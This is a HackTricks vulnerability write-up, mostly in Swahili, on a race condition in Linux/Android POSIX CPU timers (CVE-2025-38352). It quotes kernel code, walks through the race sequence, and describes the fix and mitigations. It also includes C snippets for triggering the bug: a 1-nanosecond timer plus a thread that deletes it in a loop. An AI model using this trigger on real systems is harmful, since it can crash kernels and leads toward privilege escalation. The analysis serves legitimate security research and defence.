POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unaelezea hali ya TOCTOU kwenye POSIX CPU timers za Linux/Android ambayo inaweza kuharibu hali ya timer na kusababisha kernel kusimama, na katika baadhi ya hali inaweza kuelekezwa kuelekea privilege escalation.

  • Sehemu iliyoathiriwa: kernel/time/posix-cpu-timers.c
  • Msingi: expiry vs deletion race under task exit
  • Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Muhtasari mfupi wa mambo ya ndani (relevant for exploitation)

  • Masaa matatu ya CPU yanaendesha uhasibu wa timers kupitia cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • Uundaji wa timer unatengeneza muunganiko wa timer na task/pid na huanzisha node za timerqueue:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Arming huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Fast path inaepuka usindikaji wa gharama kubwa isipokuwa cached expiries zinaonyesha uwezekano wa kutokea:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • Kuisha hukusanya timers zilizomalizika, huziweka kama zinawaka (firing), huviondoa kutoka kwenye foleni; utolewaji halisi unacheleweshwa:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Njia mbili za usindikaji wa kumalizika

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika kunacheleweshwa kupitia task_work kwenye task lengwa
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika inashughulikiwa moja kwa moja katika muktadha wa IRQ
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

Katika njia ya IRQ-context, orodha ya firing inashughulikiwa nje ya sighand

static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Chanzo kikuu: TOCTOU kati ya IRQ-time expiry na concurrent deletion chini ya task exit Preconditions

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (njia ya IRQ inatumika)
  • The target task inatoka lakini haijaondolewa kabisa
  • Thread nyingine kwa wakati mmoja inaita posix_cpu_timer_del() kwa timer ileile

Sequence

  1. update_process_times() inasababisha run_posix_cpu_timers() katika muktadha wa IRQ kwa task inayotoka.
  2. collect_timerqueue() inaweka ctmr->firing = 1 na kuhamisha timer kwenda kwenye orodha ya muda ya firing.
  3. handle_posix_cpu_timers() inaacha sighand kupitia unlock_task_sighand() ili kupeleka timers nje ya lock.
  4. Mara tu baada ya unlock, task inayotoka inaweza kuondolewa; thread ndugu inaendesha posix_cpu_timer_del().
  5. Katika dirisha hili, posix_cpu_timer_del() inaweza kushindwa kupata state kupitia cpu_timer_task_rcu()/lock_task_sighand() na kwa hivyo kuruka guard ya kawaida ya in-flight inayokagua timer->it.cpu.firing. Ufutaji unaendelea kana kwamba hauko firing, ukiharibu state wakati expiry inashughulikiwa, na kusababisha crashes/UB.

Kwa nini TASK_WORK mode ni salama kwa muundo

  • Kwa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry inacheleweshwa hadi task_work; exit_task_work inaendesha kabla ya exit_notify, hivyo mgongano wa wakati wa IRQ na uondoaji haujatokea.
  • Hata hivyo, ikiwa task tayari inatoka, task_work_add() inashindwa; kuzingatia exit_state kunafanya mode zote mbili ziwe halali.

Fix (Android common kernel) and rationale

  • Ongeza early return ikiwa current task inatoka, kuzuia usindikaji wote:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • Hii inazuia kuingia handle_posix_cpu_timers() kwa kazi zinazokuwa zinatoka (exiting tasks), ikifuta dirisha ambapo posix_cpu_timer_del() inaweza kuipoteza cpu.firing na kushindana na usindikaji wa expiry.

Impact

  • Uharibifu wa kumbukumbu ya kernel wa miundo ya timer wakati wa expiry/ufutaji kwa wakati mmoja unaweza kusababisha crashes mara moja (DoS) na ni primitive imara kuelekea privilege escalation kutokana na fursa za kuathiri hali ya kernel kwa hiari.

Triggering the bug (safe, reproducible conditions) Build/config

  • Hakikisha CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n na tumia kernel isiyokuwa na exit_state gating fix.

Runtime strategy

  • Lenga thread inayokaribia kuondoka na uambatanishe CPU timer nayo (per-thread au process-wide clock):
  • Kwa per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
  • Kwa process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
  • Weka kwa initial expiration mfupi sana na interval ndogo ili kuongeza idadi ya ingizo za IRQ-path:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • Kutoka kwenye sibling thread, futa kwa wakati mmoja timer ile ile wakati target thread inatoka:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Vichochezi vya race: kiwango cha juu cha scheduler tick, mzigo wa CPU, mizunguko ya kurudiwa ya thread exit/re-create. Hitilafu kwa kawaida inaonekana wakati posix_cpu_timer_del() inapopuuza kutambua firing kutokana na kushindwa kwa task lookup/locking mara tu baada ya unlock_task_sighand().

Uchunguzi na kuimarisha

  • Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
  • Ufuatiliaji: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); tuma onyo wakati it.cpu.firing==1 inapoonekana pamoja na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kutokufanana kwa timerqueue wakati wa task exit.

Maeneo ya ukaguzi (kwa wakaguzi)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Vidokezo kwa utafiti wa exploitation

  • Tabia iliyofunuliwa ni kernel crash primitive inayotegemewa; kuibadilisha kuwa privilege escalation kawaida kunahitaji overlap inayoweza kudhibitiwa zaidi (object lifetime au write-what-where influence) ambayo iko nje ya wigo wa muhtasari huu. Tibu PoC yoyote kama inaweza kusababisha kutokuwa imara na endesha tu katika emulators/VMs.

Angalia pia

Ksmbd Streams Xattr Oob Write Cve 2025 37947

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks